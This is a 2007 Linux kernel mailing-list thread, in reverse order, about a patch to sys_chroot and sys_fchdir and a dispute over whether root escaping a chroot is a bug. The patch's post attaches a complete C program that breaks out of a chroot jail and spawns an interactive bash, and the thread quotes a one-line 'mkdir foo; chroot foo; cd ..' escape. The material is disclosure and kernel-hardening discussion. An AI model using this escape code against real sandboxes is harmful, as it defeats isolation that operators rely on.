all the contents of this paragraph only comes from your imagination and 
contradicts the facts...

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Adrian Bunk wrote:
> You claimed:
>
> <--  snip  -->
>
> Look, when chroot was being designed, I think they intended that even root 
> should be unable to get out. They went so far as to say that dot-dot 
> wouldn't let you out; and it doesn't.
>
> <--  snip  -->
>
> You were clearly saying that whom you call "they" were the people who 
> designed chroot. And it was you who was claiming in this statement that
> "they" said it.

You've ignored the operative phrase, "I think".

Re: sys_chroot+sys_fchdir Fix

[Al Viro]

On Thu, Sep 27, 2007 at 02:01:37AM +0200, Adrian Bunk wrote:
> <--  snip  -->
> 
> Look, when chroot was being designed, I think they intended that even root 
> should be unable to get out. They went so far as to say that dot-dot 
> wouldn't let you out; and it doesn't.
> 
> <--  snip  -->
> 
> You were clearly saying that whom you call "they" were the people who 
> designed chroot. And it was you who was claiming in this statement that
> "they" said it.
> 
> The OpenBSD manpage you quoted in this thread states chroot() was added 
> in 4.2BSD, and 4.2BSD was released in 1983.
> 
> You should therefore either bring a source where the people who designed 
> chroot() in 1983 or earlier are stating what you claim they said or 
> admit that you were talking utter bullshit.

chroot() is present in v7, thank you very much.  /usr/sys/sys/sys4.c has

chdir()
{
        chdirec(&u.u_cdir);
}

chroot()
{
        if (suser())
                chdirec(&u.u_rdir);
}

and back then it didn't stop lookups by .. at all - u_rdir is only used
in the beginning of namei() (when pathname starts with /), plus the obvious
refcounting in exit()/newproc().  So give me a break - back when it had
been introduced, it didn't do anything jail-like _at_ _all_.

That check appears only in BSD:
@@ -1,4 +1,4 @@
-/*     vfs_lookup.c    4.4     03/06/81        */
+/*     vfs_lookup.c    4.5     81/03/09        */
 
 #include "../h/param.h"
 #include "../h/systm.h"
@@ -107,6 +107,9 @@
        u.u_segflg = 1;
        eo = 0;
        bp = NULL;
+       if (dp == u.u_rdir && u.u_dent.d_name[0] == '.' &&
+           u.u_dent.d_name[1] == '.' && u.u_dent.d_name[2] == 0)
+               goto cloop;
 
 eloop:

with spectaculary lousy commit message ("lint and a minor fixed") by
wnj.  Feel free to ask Bill Joy WTF he had intended.  At a guess,
more consistent behaviour in chrooted environment (i.e. pathname
resolution looking as if the subtree had been everything).

To talk about root-safety of _anything_ at that point is bloody ridiculous.

Re: sys_chroot+sys_fchdir Fix

[Adrian Bunk]

On Thu, Sep 27, 2007 at 09:05:33AM +0930, David Newall wrote:
> Adrian Bunk wrote:
>> You are claiming "They went so far as to say that dot-dot wouldn't let you 
>> out"?
>>   
>
> I phrased it in a somewhat conversational way.  The promise, which I've now 
> quoted from multiple sources, is expressed variously, including:
>> The dot-dot entry in the root directory is interpreted to mean the root 
>> directory itself. Thus, dot-dot cannot be used to access files outside the 
>> subtree rooted at the root directory.

You claimed:

<--  snip  -->

Look, when chroot was being designed, I think they intended that even root 
should be unable to get out. They went so far as to say that dot-dot 
wouldn't let you out; and it doesn't.

<--  snip  -->

You were clearly saying that whom you call "they" were the people who 
designed chroot. And it was you who was claiming in this statement that
"they" said it.

The OpenBSD manpage you quoted in this thread states chroot() was added 
in 4.2BSD, and 4.2BSD was released in 1983.

You should therefore either bring a source where the people who designed 
chroot() in 1983 or earlier are stating what you claim they said or 
admit that you were talking utter bullshit.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Adrian Bunk wrote:
> You are claiming "They went so far as to say that dot-dot wouldn't let 
> you out"?
>   

I phrased it in a somewhat conversational way.  The promise, which I've 
now quoted from multiple sources, is expressed variously, including:
> The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.
>   

Re: sys_chroot+sys_fchdir Fix

[Adrian Bunk]

On Thu, Sep 27, 2007 at 06:49:28AM +0930, David Newall wrote:
>...
> Look, when chroot was being designed, I think they intended that even root 
> should be unable to get out. They went so far as to say that dot-dot 
> wouldn't let you out; and it doesn't.
>...

You are claiming "They went so far as to say that dot-dot wouldn't let 
you out"?

Who are the "they" people you are referring to?

And where did "they" explicitely state what you claim they did say?

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Christer Weinigel wrote:
> *spends five minutes with Google*
>
> From the OpenBSD FAQ (an operating system most know for being really,
> really focused on security):
>
>     http://www.openbsd.org/faq/faq10.html
>
>     Any application which has to assume root privileges to operate is
>     pointless to attempt to chroot(2), as root can generally escape a
>     chroot(2).
>   

For sure, "a root user can get out of a chroot a million different 
ways."  Young Alan said as much at the beginning of this conversation, 
and I have always agreed.  I don't hope to secure Linux within chroot, 
simply to fix chroot so that it does what it says it does.

Look, when chroot was being designed, I think they intended that even 
root should be unable to get out.  They went so far as to say that 
dot-dot wouldn't let you out; and it doesn't.  It's not dot-dot that's 
the problem.  Even fchdir is no problem, because you choose which file 
descriptors to leave open.  Fchdir is actually one of the answers.  
("What if we need a way to escape?")

The problem is leaving cwd unchanged.  Once you've set cwd within the 
new root, dot-dot is promised to keep you within that root; and so it 
does.  But by leaving cwd unchanged, if you do a subsequent chroot, that 
promise is suddenly broken.  I think this is a bug.  I think that 
behavior was not intended.  Not all agree with me, but obviously a lot 
do, otherwise OpenBSD and others wouldn't have addressed this exact 
issue.  Here's what they do:

    "If the program is already running with an altered root directory,
    the process's current directory is changed to the same new root
    directory.  This prevents the current directory from being further
    up the directory tree than the altered root directory."
    -- OpenBSD man 2 chroot


This was no more than an attempt to fix a long-standing bug.

As stated, opinion is divided as to whether this is a bug.  I think it 
is, and many people agree, for example some of the BSDs and probably 
others; some people don't.  Young Alan, for example, ummm, strongly (is 
a good word) disagrees.  I don't see that it calls for nastiness or 
emotion, and although opinion on this august list is divided, apparently 
the nays are in the majority.  We should leave it at that.

Re: sys_chroot+sys_fchdir Fix

[Christer Weinigel]

On Wed, 26 Sep 2007 20:04:14 +0930
David Newall <david@davidnewall.com> wrote:

> Al Viro wrote:
> > Oh, for fsck sake...  Folks, it's standard-required behaviour.
> > Ability to chroot() implies the ability to break out of it.  Could
> > we please add that (along with reference to SuS) to l-k FAQ and be
> > done with that nonsense?
> 
> I'm pretty confident that it's only standard behavior for Linux.
> Every other unix says it's not allowed.

So how about reading up on the subject instead?  

*spends five minutes with Google*

>From the OpenBSD FAQ (an operating system most know for being really,
really focused on security):

    http://www.openbsd.org/faq/faq10.html

    Any application which has to assume root privileges to operate is
    pointless to attempt to chroot(2), as root can generally escape a
    chroot(2).

Solaris:

    http://www.softpanorama.org/Solaris/Security/solaris_privilege_sets.shtml

    You must be root to make the chroot() call, and you should quickly
    change to non-root (a root user can escape a chroot environment,
    so if it's to be effective, you need to drop that privilege).

A chroot FAQ:

    http://www.unixwiz.net/techtips/chroot-practices.html

    There are well-known techniques used to escape from jail, but the
    most common one requires root privileges inside the jail.

Another chroot FAT one linked to from the previous one:

    http://www.bpfh.net/simes/computing/chroot-break.html

    This page details how the chroot() system call can be used to
    provide an additional layer of security when running untrusted
    programs. It also details how this additional layer of security
    can be circumvented.

    Whilst chroot() is reasonably secure, a program can escape from
    its trap.

Yet Another FAQ, this time about secure Unix Programming:

    http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/

    chroot() only limits the file system scope and nothing else.

    [further descriptions of how to break out of chroot, with and
    without root privileges]

Convinced?

  /Christer

-- 
"Just how much can I get away with and still go to heaven?"

Christer Weinigel <christer@weinigel.se>  http://www.weinigel.se

Re: sys_chroot+sys_fchdir Fix

[Al Viro]

On Wed, Sep 26, 2007 at 08:04:14PM +0930, David Newall wrote:
> Al Viro wrote:
> >Oh, for fsck sake...  Folks, it's standard-required behaviour.  Ability
> >to chroot() implies the ability to break out of it.  Could we please
> >add that (along with reference to SuS) to l-k FAQ and be done with that
> >nonsense?
> 
> I'm pretty confident that it's only standard behavior for Linux.  Every 
> other unix says it's not allowed.

OK, the possibilities are
	* you've discovered a bug in all Unices (BTW, even FreeBSD *does*
allow to break out of some chroots in that fashion; RTFS and you'll see -
just pay attention to setting fdp->fd_jdir logics in kern/vfs_syscalls.c:
change_root(); it sets jail boundary on _first_ chroot and if you've got
nested chroots, you can leave them just fine by use of SCM_RIGHTS to hold
directory descriptor).  All hail David, nevermind that this behaviour had
been described in Unix FAQs since _way_ back.
	* you've misunderstood the purpose of chroot(), the fact that
behaviour in question is at the very least extremely common on Unix and
the fact that any code relying on root-proof chroot(2) is broken and needs
to be fixed, simply because chroot is _not_ root-proof on (at least) almost
all systems.

Note that the last statement applies in both cases; it's simply reality.
Insisting that behaviour known for decades is a bug since it contradicts
your rather convoluted reading of the standards...  Looks rather silly,
IMO, but that has zero practical consequences anyway.  Userland code can't
rely on root-proof chroot(2), period.

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

** Plonk **

Welcome to my killfile.

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Alan Cox wrote:
> ** Plonk **
>
> Welcome to my killfile.

Well that's a relief.

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Alan Cox wrote:
> You quoted the standard, I merely pointed out you forgot to read it
> properly. Thats your problem not mine.
>   

How bizarre.  Last email you claimed to quote the standards (but you 
never did.)  Your becoming an embarrassment.  You were rude, and 
multiple times.  Please just drop it while you retain a shred of dignity.

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

You quoted the standard, I merely pointed out you forgot to read it
properly. Thats your problem not mine.

Alan

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Alan,

Alan Cox wrote:
>> therefore it must be right.  You present no reasoning to explain why the 
>> behavior is correct; instead you use insults.  I've exhausted my 
>> tolerance for rudeness.
>>     
>
> Well if citing standards documents at people is rudeness so be it.

Did you just tell a porky?  Did you just (again) say something 
calculated to give a false belief?  I think so.

This is not a citation:
> It does change the root, it just doesn't guarantee you can't change it
> back - which is correct POSIX, Unix, SuS behaviour. So either everyone
> else is wrong or you are.. I know who I am betting on
>   

That was you implying that standard documents say things that they 
don't.  But yes, that was the first time.

Care to let it drop?

David

Re: sys_chroot+sys_fchdir Fix

[Chris Adams]

Once upon a time, Alan Cox  <alan@lxorguk.ukuu.org.uk> said:
>Well if citing standards documents at people is rudeness so be it.

I hate to get involved in this, but actually chroot() is no longer part
of SuS as of version 3.

For other Unix versions, both Tru64 (5.1B) and Solaris (9) chroot(2) man
pages also say the working directory is unaffected by chroot().  The
Solaris man page explicitly mentions using fchdir() to reset the root to
a previously opened directory however.

On Tru64 and Solaris, the chroot command does call chdir() after
chroot(), but that is a userspace thing.

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

> therefore it must be right.  You present no reasoning to explain why the 
> behavior is correct; instead you use insults.  I've exhausted my 
> tolerance for rudeness.

Well if citing standards documents at people is rudeness so be it.

Alan

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Alan Cox wrote:
> Now see I've been working on Unix systems since 1988 or so and in that
> time I've learned to read the documentation properly (you haven't)

My, my, you can be unpleasant when you try.  There's no need for it.  As 
it happens I have years of UNIX experience on you.  (Newbie!)

You've got an idea that the original intention was for there to be a way 
to escape from a chroot, but that the documentation was written so that, 
not only was this not mentioned, but what was written implies 
otherwise.  You've also got some idea that because it's the way it is, 
therefore it must be right.  You present no reasoning to explain why the 
behavior is correct; instead you use insults.  I've exhausted my 
tolerance for rudeness.

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

> I've made no error.  The documentation says what it says, and what it 
> doesn't say, other than for Linux, is that there is an unspecified way 
> of breaking out.

Now see I've been working on Unix systems since 1988 or so and in that
time I've learned to read the documentation properly (you haven't) and
I've also don't security work on a pile of systems. Your assumptions and
your whole mental model of this are horribly broken.
 
> If you're so keen on trying things, then I challenge you to try it on, 
> oh, say, BSD, and then admit your error.  (Such hostile words.)

FreeBSD isn't a Unix system, and isn't compliant to the spec. Its
also still trivial to get out of a freebsd chroot using things like
ptrace. FreeBSD jails on the other hand do what you confusedly seem to
think should happen with chroot. They are seperate precisely because they
are different.

Alan

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Alan Cox wrote:
> On Wed, 26 Sep 2007 20:04:14 +0930
> David Newall <david@davidnewall.com> wrote:
>   
>> Al Viro wrote:
>>     
>>> Oh, for fsck sake...  Folks, it's standard-required behaviour.  Ability
>>> to chroot() implies the ability to break out of it.  Could we please
>>> add that (along with reference to SuS) to l-k FAQ and be done with that
>>> nonsense?
>>>       
>> I'm pretty confident that it's only standard behavior for Linux.  Every 
>> other unix says it's not allowed.
>>     
>
> Go try them, then come back and admit your error
>   

I've made no error.  The documentation says what it says, and what it 
doesn't say, other than for Linux, is that there is an unspecified way 
of breaking out.

If you're so keen on trying things, then I challenge you to try it on, 
oh, say, BSD, and then admit your error.  (Such hostile words.)

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

On Wed, 26 Sep 2007 20:04:14 +0930
David Newall <david@davidnewall.com> wrote:

> Al Viro wrote:
> > Oh, for fsck sake...  Folks, it's standard-required behaviour.  Ability
> > to chroot() implies the ability to break out of it.  Could we please
> > add that (along with reference to SuS) to l-k FAQ and be done with that
> > nonsense?
> 
> I'm pretty confident that it's only standard behavior for Linux.  Every 
> other unix says it's not allowed.

Go try them, then come back and admit your error

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Al Viro wrote:
> Oh, for fsck sake...  Folks, it's standard-required behaviour.  Ability
> to chroot() implies the ability to break out of it.  Could we please
> add that (along with reference to SuS) to l-k FAQ and be done with that
> nonsense?

I'm pretty confident that it's only standard behavior for Linux.  Every 
other unix says it's not allowed.

Re: sys_chroot+sys_fchdir Fix

[Al Viro]

On Tue, Sep 25, 2007 at 04:53:00PM -0400, Phillip Susi wrote:
> Alan Cox wrote:
> >On Fri, 21 Sep 2007 13:39:34 -0400
> >Phillip Susi <psusi@cfl.rr.com> wrote:
> >
> >>David Newall wrote:
> >>>* In particular, the superuser can escape from a =91chroot jail=92 by d=
> >>>oing=20
> >>>=91mkdir foo; chroot foo; cd ..=92.
> >>No, he can not.
> >
> >The superuser can escape that way - its expected and fine behaviour
> 
> Does not work for me, and that would be the EXACT thing chroot is 
> supposed to prevent.  Maybe you guys are thinking of a program that 
> calls chroot() but leaves cwd outside the chroot still being able to 
> navigate outside of it?

Oh, for fsck sake...  Folks, it's standard-required behaviour.  Ability
to chroot() implies the ability to break out of it.  Could we please
add that (along with reference to SuS) to l-k FAQ and be done with that
nonsense?

If you are within chroot jail and capable of chroot(), you can chdir to
its root, then chroot() to subdirectory and you've got cwd outside of
your new root.  After that you can chdir all way out to original root.

Again, this is standard behaviour.  Changing it will not yield any
security improvements, so kindly give that a rest.

Re: sys_chroot+sys_fchdir Fix

[Phillip Susi]

Alan Cox wrote:
> On Fri, 21 Sep 2007 13:39:34 -0400
> Phillip Susi <psusi@cfl.rr.com> wrote:
> 
>> David Newall wrote:
>>> * In particular, the superuser can escape from a =91chroot jail=92 by d=
>>> oing=20
>>> =91mkdir foo; chroot foo; cd ..=92.
>> No, he can not.
> 
> The superuser can escape that way - its expected and fine behaviour

Does not work for me, and that would be the EXACT thing chroot is 
supposed to prevent.  Maybe you guys are thinking of a program that 
calls chroot() but leaves cwd outside the chroot still being able to 
navigate outside of it?

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

On Fri, 21 Sep 2007 13:39:34 -0400
Phillip Susi <psusi@cfl.rr.com> wrote:

> David Newall wrote:
> > * In particular, the superuser can escape from a =91chroot jail=92 by d=
> > oing=20
> > =91mkdir foo; chroot foo; cd ..=92.
> 
> No, he can not.

The superuser can escape that way - its expected and fine behaviour

Re: sys_chroot+sys_fchdir Fix

[Phillip Susi]

David Newall wrote:
> * In particular, the superuser can escape from a =91chroot jail=92 by d=
> oing=20
> =91mkdir foo; chroot foo; cd ..=92.

No, he can not.

Re: sys_chroot+sys_fchdir Fix

[David Newall]

> Normal users cannot use chroot() themselves so they can't use chroot to
> get back out

I think Bill is right, that this is to fix a method that non-root 
processes can use to escape their chroot. The exploit, which is 
documented in chroot(2)*, is to chdir("..") your way out. Who'd have 
thought it? Only root can do that, but even that seems wrong. Chroot 
should be chroot and that should be the end of it.

It looks to me like Miloslav has found a bug, although I suspect there's 
a simpler solution because non-root is already prevented from escaping 
this way.

David

* In particular, the superuser can escape from a ‘chroot jail’ by doing 
‘mkdir foo; chroot foo; cd ..’.

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

> I thought this was to prevent breaking out of chroot as a normal user.
> 	ie. chroot /var/myjail /bin/su - guest
> or similar.

Normal users cannot use chroot() themselves so they can't use chroot to
get back out

Re: sys_chroot+sys_fchdir Fix

[Bill Davidsen]

Alan Cox wrote:
> On Wed, 19 Sep 2007 09:19:50 +0200
> majkls <majkls@prepere.com> wrote:
> 
>> Hello,
>> here is an fix to an exploit (obtained somewhere in internet). This 
>> exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible 
>> (with sufficient filedescriptor (if there is na directory fd opened in 
>> root) workaround chroot with sys_fchdir. This patch fixes it.
> 
> 
> If you have the ability to use chroot() you are root. If you are root you
> can walk happily out of any chroot by a thousand other means.
> 
I thought this was to prevent breaking out of chroot as a normal user.
	ie. chroot /var/myjail /bin/su - guest
or similar.

-- 
Bill Davidsen <davidsen@tmr.com>
   "We have more to fear from the bungling of the incompetent than from
the machinations of the wicked."  - from Slashdot

Re: sys_chroot+sys_fchdir Fix

[Alan Cox]

On Wed, 19 Sep 2007 09:19:50 +0200
majkls <majkls@prepere.com> wrote:

> Hello,
> here is an fix to an exploit (obtained somewhere in internet). This 
> exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible 
> (with sufficient filedescriptor (if there is na directory fd opened in 
> root) workaround chroot with sys_fchdir. This patch fixes it.


If you have the ability to use chroot() you are root. If you are root you
can walk happily out of any chroot by a thousand other means.

Alan

sys_chroot+sys_fchdir Fix

[majkls]

[-- Attachment #1: Type: text/plain, Size: 299 bytes --]

Hello,
here is an fix to an exploit (obtained somewhere in internet). This 
exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible 
(with sufficient filedescriptor (if there is na directory fd opened in 
root) workaround chroot with sys_fchdir. This patch fixes it.

Miloslav Semler

[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c	2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
  	}
  	follow_mount(&nd->mnt, &nd->dentry);
  }
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root && 
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root && 
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }
  
  /*
   *  It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c	2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
  out:
  	return error;
  }
+ long directory_is_out(struct vfsmount *, struct dentry*, 
+ 		struct vfsmount *, struct dentry *);
  
  asmlinkage long sys_fchdir(unsigned int fd)
  {
*************** asmlinkage long sys_fchdir(unsigned int 
*** 581,586 ****
--- 583,591 ----
  	error = -ENOTDIR;
  	if (!S_ISDIR(inode->i_mode))
  		goto out_putf;
+ 	if (directory_is_out(mnt, dentry, current->fs->rootmnt, 
+ 				current->fs->root))
+ 		goto out_putf;
  
  	error = file_permission(file, MAY_EXEC);
  	if (!error)
*************** out:
*** 594,600 ****
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
--- 599,605 ----
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error, set_wd = 0;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
  	error = -EPERM;
  	if (!capable(CAP_SYS_CHROOT))
  		goto dput_and_out;
+ 	error = -ENOTDIR;
+ 	/*
+ 	if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ 				current->fs->root))
+ 		goto dput_and_out;
+ 		*/
+ 	set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd, 
+ 				nd.mnt, nd.dentry);
  
  	set_fs_root(current->fs, nd.mnt, nd.dentry);
  	set_fs_altroot();
+ 	/* if wd is out, reset it to . */
+ 	if(set_wd)
+ 		set_fs_pwd(current->fs, nd.mnt, nd.dentry);
  	error = 0;
  dput_and_out:
  	path_release(&nd);

[-- Attachment #3: chroot.c --]
[-- Type: text/x-csrc, Size: 4107 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
  	    
  	 /*  
  	 ** You should set NEED_FCHDIR to 1 if the chroot() on your  
  	 ** system changes the working directory of the calling  
  	 ** process to the same directory as the process was chroot()ed  
  	 ** to.  
  	 **  
  	 ** It is known that you do not need to set this value if you  
  	 ** running on Solaris 2.7 and below.  
  	 **  
  	 */  
  	 /*#define NEED_FCHDIR 0*/
  	    
  	 #define TEMP_DIR "waterbuffalo"  
  	    
  	 /* Break out of a chroot() environment in C */  
  	    
  	 int main() {  
  	   int x;            /* Used to move up a directory tree */  
  	   int done=0;       /* Are we done yet ? */  
  	 #ifdef NEED_FCHDIR  
  	   int dir_fd;       /* File descriptor to directory */  
  	 #endif  
  	   struct stat sbuf; /* The stat() buffer */  
  	   puts("chroot()");
	   chroot(".");  
  	  /* chdir("/");
	  setuid(65534); */
  	 /*  
  	 ** First we create the temporary directory if it doesn't exist  
  	 */  
  	 
	   if (stat(TEMP_DIR,&sbuf)<0) {  
  	     if (errno==ENOENT) {  
  	       if (mkdir(TEMP_DIR,0755)<0) {  
  	         fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
  	                 strerror(errno));  
  	         exit(1);  
  	       }  
  	     } else {  
  	       fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
  	               strerror(errno));  
  	       exit(1);  
  	     }  
  	   } else if (!S_ISDIR(sbuf.st_mode)) {  
  	     fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
  	     exit(1);  
  	   }  
  	  
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Now we open the current working directory  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
  	     fprintf(stderr,"Failed to open \".\" for reading - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	 #endif  
  	    
  	 /*  
  	 ** Next we chroot() to the temporary directory  
  	 */  
  	   if (chroot(TEMP_DIR)<0) {  
  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	    
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Partially break out of the chroot by doing an fchdir()  
  	 **  
  	 ** This only partially breaks out of the chroot() since whilst  
  	 ** our current working directory is outside of the chroot() jail,  
  	 ** our root directory is still within it. Thus anything which refers  
  	 ** to "/" will refer to files under the chroot() point.  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if (fchdir(dir_fd)<0) {  
  	     fprintf(stderr,"Failed to fchdir - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	   close(dir_fd);  
  	 #endif  
  	    
  	 /*  
  	 ** Completely break out of the chroot by recursing up the directory  
  	 ** tree and doing a chroot to the current working directory (which will  
  	 ** be the real "/" at that point). We just do a chdir("..") lots of  
  	 ** times (1024 times for luck :). If we hit the real root directory before  
  	 ** we have finished the loop below it doesn't matter as .. in the root  
  	 ** directory is the same as . in the root.  
  	 **  
  	 ** We do the final break out by doing a chroot(".") which sets the root  
  	 ** directory to the current working directory - at this point the real  
  	 ** root directory.  
  	 */  
  	   for(x=0;x<1024;x++) {  
  	     chdir("..");  
  	   }  
  	   chroot(".");  
  	    
  	 /*  
  	 ** We're finally out - so exec a shell in interactive mode  
  	 */  
  	   if (execl("/bin/bash","-i",NULL)<0) {  
  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
  	     exit(1);  
  	   }  
  	 }